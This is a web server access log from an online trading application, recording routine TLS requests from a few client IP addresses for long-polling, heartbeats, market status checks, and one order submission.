[09/Jan/2026:15:11:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:11:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942962397 HTTP/1.1" -
[09/Jan/2026:15:11:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942957979 HTTP/1.1" -
[09/Jan/2026:15:11:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942957136 HTTP/1.1" -
[09/Jan/2026:15:11:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942957925 HTTP/1.1" -
[09/Jan/2026:15:11:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:11:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:11:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942975339 HTTP/1.1" -
[09/Jan/2026:15:11:31 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:11:31 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:11:31 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:11:31 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1202
[09/Jan/2026:15:11:31 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942967437 HTTP/1.1" -
[09/Jan/2026:15:11:33 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942963016 HTTP/1.1" -
[09/Jan/2026:15:11:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942962328 HTTP/1.1" -
[09/Jan/2026:15:11:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942962959 HTTP/1.1" -
[09/Jan/2026:15:11:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:11:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:15:11:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:11:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:11:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:11:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=141932876E8A0A22DFED6BF883F585EB HTTP/1.1" 1022
[09/Jan/2026:15:11:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:11:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:15:11:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:11:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:11:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:11:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:11:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942980402 HTTP/1.1" -
[09/Jan/2026:15:11:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:11:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:11:36 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:11:36 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:11:36 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1345
[09/Jan/2026:15:11:37 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942972525 HTTP/1.1" -
[09/Jan/2026:15:11:38 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942968074 HTTP/1.1" -
[09/Jan/2026:15:11:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942967376 HTTP/1.1" -
[09/Jan/2026:15:11:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942967995 HTTP/1.1" -
[09/Jan/2026:15:11:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942985428 HTTP/1.1" -
[09/Jan/2026:15:11:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942977636 HTTP/1.1" -
[09/Jan/2026:15:11:43 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942973111 HTTP/1.1" -
[09/Jan/2026:15:11:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942973019 HTTP/1.1" -
[09/Jan/2026:15:11:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942972517 HTTP/1.1" -
[09/Jan/2026:15:11:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:11:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:11:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942990452 HTTP/1.1" -
[09/Jan/2026:15:11:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942982729 HTTP/1.1" -
[09/Jan/2026:15:11:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942978255 HTTP/1.1" -
[09/Jan/2026:15:11:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942978040 HTTP/1.1" -
[09/Jan/2026:15:11:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942977641 HTTP/1.1" -
[09/Jan/2026:15:11:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:11:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:11:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:11:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:11:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:11:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:11:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942995511 HTTP/1.1" -
[09/Jan/2026:15:11:52 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942987774 HTTP/1.1" -
[09/Jan/2026:15:11:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:11:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:11:53 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942983378 HTTP/1.1" -
[09/Jan/2026:15:11:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942983059 HTTP/1.1" -
[09/Jan/2026:15:11:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942982801 HTTP/1.1" -
[09/Jan/2026:15:11:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:11:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:11:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943000536 HTTP/1.1" -
[09/Jan/2026:15:11:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:11:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:11:57 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942992877 HTTP/1.1" -
[09/Jan/2026:15:11:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942988449 HTTP/1.1" -
[09/Jan/2026:15:11:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942988095 HTTP/1.1" -
[09/Jan/2026:15:11:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:11:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:11:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942987920 HTTP/1.1" -
[09/Jan/2026:15:12:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943005561 HTTP/1.1" -
[09/Jan/2026:15:12:02 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942997911 HTTP/1.1" -
[09/Jan/2026:15:12:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942993118 HTTP/1.1" -
[09/Jan/2026:15:12:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942993531 HTTP/1.1" -
[09/Jan/2026:15:12:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942992986 HTTP/1.1" -
[09/Jan/2026:15:12:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:12:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:12:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943010636 HTTP/1.1" -
[09/Jan/2026:15:12:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:12:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:12:07 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943002989 HTTP/1.1" -
[09/Jan/2026:15:12:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942998153 HTTP/1.1" -
[09/Jan/2026:15:12:08 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942998611 HTTP/1.1" -
[09/Jan/2026:15:12:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942998133 HTTP/1.1" -
[09/Jan/2026:15:12:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943015705 HTTP/1.1" -
[09/Jan/2026:15:12:12 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943008093 HTTP/1.1" -
[09/Jan/2026:15:12:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943003175 HTTP/1.1" -
[09/Jan/2026:15:12:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943003640 HTTP/1.1" -
[09/Jan/2026:15:12:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:12:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:12:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943003271 HTTP/1.1" -
[09/Jan/2026:15:12:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943020737 HTTP/1.1" -
[09/Jan/2026:15:12:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943013170 HTTP/1.1" -
[09/Jan/2026:15:12:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943008224 HTTP/1.1" -
